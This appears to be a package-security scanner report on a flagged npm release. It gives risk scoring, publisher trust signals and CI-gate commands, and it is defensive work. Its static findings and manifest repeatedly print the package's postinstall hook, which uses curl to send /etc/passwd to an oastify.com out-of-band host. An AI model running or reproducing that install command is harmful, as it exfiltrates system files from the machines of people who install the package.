Package evidence

@shell-cabinet/[email protected]

DNS / OAST exfiltration: matched "oastify.com"

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published: 1
First published: May 2026
Publisher: scream3gg_bughunter
External confirmation: MAL-2026-5428OSV match · pinned to high regardless of other signals

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Inspect tarball Add to CI gate

Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["@shell-cabinet/[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["@shell-cabinet/[email protected]"],"fail_on":"high"}'

Publisherscream3gg_bughunter

Artifact bytes589

Previous versionnone

Published2026-05-29T15:05:37.164Z

SHA-256a48c90dc66896219c1c803b1dfd70f23305ca8dbd5ee02824ea8533e55e57b83

Why flagged

What the scanner saw

DNS / OAST exfiltration: matched "oastify.com"

1 candidate cluster(s) currently reference this release.

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

available

high

4h agoLast checked

highRisk

65Score

99.9.5Version

Status history (1 event)

new → available14d ago · risk high · score 65 · status changed

Related candidates

Linked campaigns and clusters

Publisher / release actor burstactive

scream3gg_bughunter

8 members · evidence strength 68

Publisher / release actor burstcandidate

scream3gg_bughunter

8 members · max score 65

Evidence

Static findings

4 static · 0 from release diff · showing high-signal first.

Severity	Kind	Path	Detail	Points
high	DNS / OAST exfiltration	package/package.json	matched "oastify.com"	30
high	Install Lifecycle Dns Or Oast	package.json	postinstall="node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com"	30
high	New Account With Lifecycle Hook	package.json	package first published 15 day(s) ago, 1 total version(s), has lifecycle hook	25

Show all 4 findings (low-signal and informational)

Severity	Kind	Path	Detail	Points
high	DNS / OAST exfiltration	package/package.json	matched "oastify.com"	30
high	Install Lifecycle Dns Or Oast	package.json	postinstall="node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com"	30
high	New Account With Lifecycle Hook	package.json	package first published 15 day(s) ago, 1 total version(s), has lifecycle hook	25
low	Install-time lifecycle script	package.json	postinstall="node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com"	5

Manifest

Package metadata

Scripts1

postinstallnode scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com